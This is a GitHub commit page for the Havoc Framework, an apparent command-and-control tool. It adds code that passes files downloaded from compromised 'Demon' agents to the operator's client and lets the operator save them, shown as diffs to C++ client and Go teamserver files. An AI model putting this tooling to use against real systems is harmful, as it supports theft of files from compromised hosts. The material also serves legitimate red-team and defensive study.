Skip to content

Commit ca8ea32

Browse files
committed
Merge PR HavocFramework#443: Download loot to client
2 parents c2dc864 + 97c33cc commit ca8ea32

File tree

3 files changed

+40
-2
lines changed

3 files changed

+40
-2
lines changed

client/src/Havoc/Demon/CommandOutput.cc

+3-2
Original file line numberDiff line numberDiff line change
@@ -60,13 +60,14 @@ void DispatchOutput::MessageOutput( QString JsonString, const QString& Date = ""
6060

6161
HavocX::Teamserver.TabSession->LootWidget->AddScreenshot( DemonCommandInstance->DemonID, Name, Date, DecodedData );
6262
}
63-
else if ( Type.compare( "download" ) == 0 )
63+
else if ( Type.compare( "downloadComplete" ) == 0 )
6464
{
65+
auto DecodedData = QByteArray::fromBase64( Data.toLocal8Bit() );
6566
auto MiscDataInfo = JsonDocument[ "MiscData2" ].toString().split( ";" );
6667
auto Name = QByteArray::fromBase64( MiscDataInfo[ 0 ].toLocal8Bit() );
6768
auto Size = ( MiscDataInfo[ 1 ] );
6869

69-
HavocX::Teamserver.TabSession->LootWidget->AddDownload( DemonCommandInstance->DemonID, Name, Size, Date, nullptr );
70+
HavocX::Teamserver.TabSession->LootWidget->AddDownload( DemonCommandInstance->DemonID, Name, Size, Date, DecodedData );
7071
}
7172
else if ( Type.compare( "ProcessUI" ) == 0 )
7273
{

client/src/UserInterface/Widgets/LootWidget.cc

+24
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,8 @@
1212
#include <QScrollBar>
1313
#include <QKeyEvent>
1414
#include <QGraphicsSceneWheelEvent>
15+
#include <QSaveFile>
16+
#include <QFileDialog>
1517

1618
// imagelabel.cpp
1719
ImageLabel::ImageLabel( QWidget* parent ) : QWidget( parent )
@@ -328,6 +330,28 @@ void LootWidget::onScreenshotTableClick( const QModelIndex &index )
328330

329331
void LootWidget::onDownloadTableClick( const QModelIndex &index )
330332
{
333+
auto DemonID = ComboAgentID->currentText();
334+
auto FileName = DownloadTable->item( index.row(), 0 )->text();
335+
336+
for ( auto& item : LootItems )
337+
{
338+
if ( DemonID.compare( "[ All ]" ) == 0 || DemonID.compare( item.AgentID ) == 0 )
339+
{
340+
if ( item.Type == LOOT_FILE )
341+
{
342+
if ( item.Data.Name.compare( FileName ) == 0 )
343+
{
344+
QFileInfo fi(FileName);
345+
QString saveFileName = QFileDialog::getSaveFileName(this, tr("Save File"),
346+
fi.fileName(), tr("All (*)"));
347+
QSaveFile file(saveFileName);
348+
file.open(QIODevice::WriteOnly);
349+
file.write(item.Data.Data);
350+
file.commit();
351+
}
352+
}
353+
}
354+
}
331355

332356
}
333357

teamserver/pkg/agent/demons.go

+13
Original file line numberDiff line numberDiff line change
@@ -3058,6 +3058,19 @@ func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.
30583058
Output["Type"] = "Good"
30593059
Output["Message"] = fmt.Sprintf("Finished download of file: %v", FileName)
30603060

3061+
var err error
3062+
var n int
3063+
var FileData = make([]byte, download.TotalSize)
3064+
n, err = download.File.ReadAt(FileData,0)
3065+
logger.Debug(fmt.Sprintf("downloadComplete, %v, %v", n, err))
3066+
if err == nil {
3067+
Output["MiscType"] = "downloadComplete"
3068+
Output["MiscData"] = base64.StdEncoding.EncodeToString([]byte(FileData))
3069+
Output["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(download.FilePath)) + ";" + strconv.Itoa(int(download.TotalSize))
3070+
} else {
3071+
logger.Error(fmt.Sprintf("Could not read file %v after download", download.FilePath))
3072+
}
3073+
30613074
a.DownloadClose(FileID)
30623075
} else if Reason == 0x1 {
30633076
Output["Type"] = "Info"

0 commit comments

Comments
 (0)